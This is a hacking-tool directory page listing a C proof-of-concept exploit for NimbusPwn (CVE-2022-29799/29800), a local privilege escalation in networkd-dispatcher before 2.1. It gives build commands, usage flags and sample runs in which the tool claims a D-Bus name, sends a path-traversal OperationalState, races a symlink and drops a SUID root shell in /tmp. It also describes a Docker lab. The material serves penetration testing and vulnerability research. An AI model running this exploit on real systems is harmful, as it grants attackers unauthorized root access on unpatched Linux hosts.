Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
NimbusPWN-CVE-2022-29799-29800 — NimbusPwn (CVE-2022-29799/29800) local privilege escalation PoC in C. | Kitploit
Tools/GitHubGitHub/joshuavanderpoll/nimbuspwn-cve-2022-29799-29800
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubjoshuavanderpoll/nimbuspwn-cve-2022-29799-29800

NimbusPWN-CVE-2022-29799-29800

NimbusPwn (CVE-2022-29799/29800) local privilege escalation PoC in C.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
52 months agoNot yet reviewed

NimbusPwn — networkd-dispatcher < 2.1 Local Privilege Escalation (CVE-2022-29799 / CVE-2022-29800) PoC

C Linux

📜 Description

A C PoC for NimbusPwn, a local privilege escalation in networkd-dispatcher. An unprivileged user claims the org.freedesktop.network1 D-Bus name and sends a crafted OperationalState. The root daemon does not sanitize it (CVE-2022-29799, path traversal), and a symlink race on the script directory (CVE-2022-29800, TOCTOU) makes it run an attacker-planted script as root — dropping a SUID root shell.

Affected: networkd-dispatcher < 2.1 (fixed in 2.1). Linux only. Needs the system D-Bus and a claimable org.freedesktop.network1 name.

🛠️ Installation

Build on Linux (Kali, or the target box). It does not build or run on macOS/Windows.

root@kitploit:~
git clone https://github.com/joshuavanderpoll/NimbusPWN-CVE-2022-29799-29800.git
cd NimbusPWN-CVE-2022-29799-29800
sudo apt install -y gcc libc6-dev libdbus-1-dev pkg-config
cc nimbuspwn.c -o nimbuspwn $(pkg-config --cflags --libs dbus-1)

[!NOTE] Other distros: dnf install gcc dbus-devel pkgconf (Fedora/RHEL) or pacman -S gcc dbus pkgconf (Arch). The compile line is the same.

⚙️ Usage

Run as an unprivileged user on a vulnerable host.

root@kitploit:~
./nimbuspwn [-c] [-s SHELL]
  -c, --check        non-breaking vuln check, no exploitation
  -s, --shell SHELL  shell to SUID-copy and spawn as root (default /bin/sh)
  -h, --help         show help

Check first (safe, plants nothing, never races):

root@kitploit:~
$ ./nimbuspwn --check
[+] owned org.freedesktop.network1
[+] verdict: likely vulnerable (org.freedesktop.network1 is claimable, no privesc tried)

Then exploit:

root@kitploit:~
$ ./nimbuspwn
[*] shell=/bin/sh drop=/tmp/sh attempts=10
[+] owned org.freedesktop.network1
[@] attempt 1 (/tmp/nimbuspwn_93732)
[+] planted 126 payloads (root-owned /sbin execs) in /tmp/nimbuspwn_93732
[*] OperationalState: ../../../tmp/nimbuspwn_93732/poc
[*] signal sent (serial 3)
[@] symlink swapped, waiting for root exec
[+] root backdoor at /tmp/sh, spawning shell
# id
uid=1000(pwn) gid=1000(pwn) euid=0(root) groups=1000(pwn)

The race is non-deterministic, so it retries (default 10×). Use -s /bin/bash on hosts without /bin/sh.

🐋 Docker PoC

A self-contained vulnerable lab (Ubuntu 20.04 + vulnerable networkd-dispatcher 2.0). No --privileged or host networking.

root@kitploit:~
docker compose build
docker compose run --rm nimbuspwn-lab
# inside, as user 'pwn':
./nimbuspwn

The 2.0 dispatcher is vendored in docker/ so the build does not depend on any external download. Dispatcher log: /var/log/dispatcher.log.

🕵🏼 References

  • Microsoft: https://www.microsoft.com/en-us/security/blog/2022/04/26/microsoft-finds-new-elevation-of-privilege-linux-vulnerability-nimbuspwn/
  • Upstream: https://gitlab.com/craftyguy/networkd-dispatcher

📢 Disclaimer

This tool is provided for educational and research purposes only. The creator assumes no responsibility for any misuse or damage caused by the tool.

Download Tool